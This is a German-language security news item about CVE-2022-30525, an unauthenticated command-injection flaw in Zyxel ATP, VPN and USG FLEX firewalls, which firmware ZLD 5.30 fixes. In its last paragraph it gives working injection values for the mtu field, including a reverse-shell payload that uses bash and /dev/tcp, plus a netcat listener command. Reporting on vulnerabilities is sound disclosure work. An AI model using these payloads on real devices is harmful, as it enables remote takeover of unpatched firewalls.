Sicherheitsanfälligkeit in Zyxel-Firewalls ermöglicht die Ausführung von Code ohne Authentifizierung.

In den Zyxel-Geräten der Serien ATP, VPN und USG FLEX, die für die Einrichtung von Firewalls, IDS und VPNs in Unternehmen konzipiert sind, wurde eine kritische Sicherheitsanfälligkeit (CVE-2022-30525) festgestellt. Diese ermöglicht es einem externen Angreifer, ohne Authentifizierung Code auf dem Gerät mit den Rechten des Benutzers 'nobody' auszuführen. Um den Angriff durchzuführen, muss der Angreifer in der Lage sein, Anfragen über das HTTP/HTTPS-Protokoll an das Gerät zu senden. Zyxel hat die Schwachstelle mit dem Firmware-Update ZLD 5.30 behoben. Laut dem Shodan-Dienst sind derzeit in globalen Netzwerken 16.213 potenziell anfällige Geräte registriert, die Anfragen über HTTP/HTTPS akzeptieren.

Die Ausnutzung erfolgt durch das Senden speziell gestalteter Befehle an den Web-Handler /ztp/cgi-bin/handler, der ohne Authentifizierung zugänglich ist. Das Problem wird durch das Fehlen einer angemessenen Bereinigung der Anfrageparameter verursacht, wenn Befehle im System mittels des Aufrufs os.system ausgeführt werden, der in der Bibliothek lib_wan_settings.py verwendet wird und bei der Verarbeitung der Operation setWanPortSt zum Einsatz kommt.

Zum Beispiel kann ein Angreifer im Feld mtu den Befehl „; ping 192.168.1.210;“ eingeben, was zur Ausführung des Kommandos „ping 192.168.1.210“ auf dem System führt. Um Zugriff auf die Kommandozeile zu erhalten, kann man auf dem eigenen System „nc -lvnp 1270“ starten und dann eine Rückverbindung (reverse shell) initiieren, indem man an das Gerät eine Anfrage mit dem Parameter „; bash -c \"exec bash -i &> /dev/tcp/192.168.1.210/1270 &<1;\"“ sendet.

Quelle: opennet.ru